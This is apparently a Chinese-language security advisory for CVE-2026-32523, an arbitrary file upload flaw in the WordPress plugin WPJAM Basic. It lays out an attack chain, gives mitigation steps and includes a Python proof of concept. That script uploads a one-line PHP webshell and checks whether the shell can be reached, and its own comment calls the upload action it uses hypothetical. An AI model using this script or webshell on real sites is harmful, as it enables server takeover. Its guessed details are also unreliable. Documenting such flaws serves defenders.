IPBUF安全漏洞报告
English
CVE-2026-32523 CVSS 9.9 严重

CVE-2026-32523 WPJAM Basic任意文件上传漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-32523
漏洞类型
任意文件上传
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
denishua WPJAM Basic (WordPress Plugin)

相关标签

WordPressWPJAM Basic任意文件上传远程代码执行CVE-2026-32523Web安全

漏洞概述

CVE-2026-32523 是 WordPress 插件 WPJAM Basic 中发现的一个严重安全漏洞。该漏洞源于程序未能正确限制上传文件的类型,允许攻击者上传危险文件(如恶意脚本)。由于 CVSS 评分高达 9.9,且攻击者仅需低权限即可利用,此漏洞对受影响网站构成了极高威胁。成功利用此漏洞可能导致远程代码执行(RCE),进而使攻击者完全控制服务器,窃取敏感数据或破坏服务。受影响版本涵盖从早期版本至 6.9.2 的所有版本。

技术细节

该漏洞属于“不受限制的危险类型文件上传”(Unrestricted Upload of File with Dangerous Type)。在 WPJAM Basic 插件的实现中,文件上传功能未对用户提交的文件扩展名或文件内容头进行严格的校验。攻击者利用低权限账号(如订阅者)向服务器发送特制的 HTTP POST 请求,将 PHP Webshell 或其他可执行脚本伪装成允许的文件格式(如图片)进行上传。一旦文件被上传至 Web 目录,攻击者即可通过浏览器直接访问该文件。由于 Web 服务器(如 Apache/Nginx)会对 .php 文件进行解析,这将导致恶意代码在服务器端执行。由于 CVSS 向量包含 S:C(范围变更),攻击者可从插件权限提升至系统权限,严重危及机密性、完整性和可用性。

攻击链分析

STEP 1
侦查
攻击者扫描目标站点,识别是否安装了 WPJAM Basic 插件及其版本号(<= 6.9.2)。
STEP 2
获取凭证
攻击者注册或通过其他方式获取一个低权限账号(如订阅者),满足 PR:L 的要求。
STEP 3
构造载荷
攻击者编写包含恶意代码的 PHP 脚本,并准备用于上传的 HTTP 数据包。
STEP 4
上传文件
利用插件中的文件上传接口,发送带有恶意文件的 POST 请求,绕过类型验证。
STEP 5
执行代码
通过浏览器访问已上传的恶意文件路径,触发服务器端解析,执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-32523 PoC Generator for WPJAM Basic def exploit(target_url, cookie): """ Attempts to upload a malicious PHP file via the vulnerable endpoint. """ upload_url = f"{target_url}/wp-admin/admin-ajax.php" # The malicious payload (PHP webshell) payload = "<?php system($_GET['cmd']); ?>" # Data to be sent in the POST request files = { 'file': ('exploit.php', payload, 'application/octet-stream') } data = { 'action': 'wpjam_upload_action', # Hypothetical action based on typical WP plugin structure 'nonce': 'valid_nonce_if_required' } headers = { 'User-Agent': 'Mozilla/5.0 (PoC-Scanner)' } try: response = requests.post(upload_url, files=files, data=data, cookies=cookie, headers=headers) if response.status_code == 200: print("[+] File upload request sent successfully.") print(f"[+] Response: {response.text[:200]}") # Check if the file is accessible check_url = f"{target_url}/wp-content/uploads/exploit.php" check = requests.get(check_url) if check.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {check_url}") else: print("[-] File uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Cookie string for a low-privilege user (e.g., subscriber) user_cookie = {"wordpress_logged_in_12345": "user_session_token"} exploit(target, user_cookie)

影响范围

WPJAM Basic <= 6.9.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 WPJAM Basic 插件。同时,应检查服务器日志中是否存在异常的文件上传记录,并在 Web 服务器层面(如 Nginx/Apache 配置)禁止 `/wp-content/uploads/` 及相关目录下的 PHP 文件解析,以阻断攻击链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表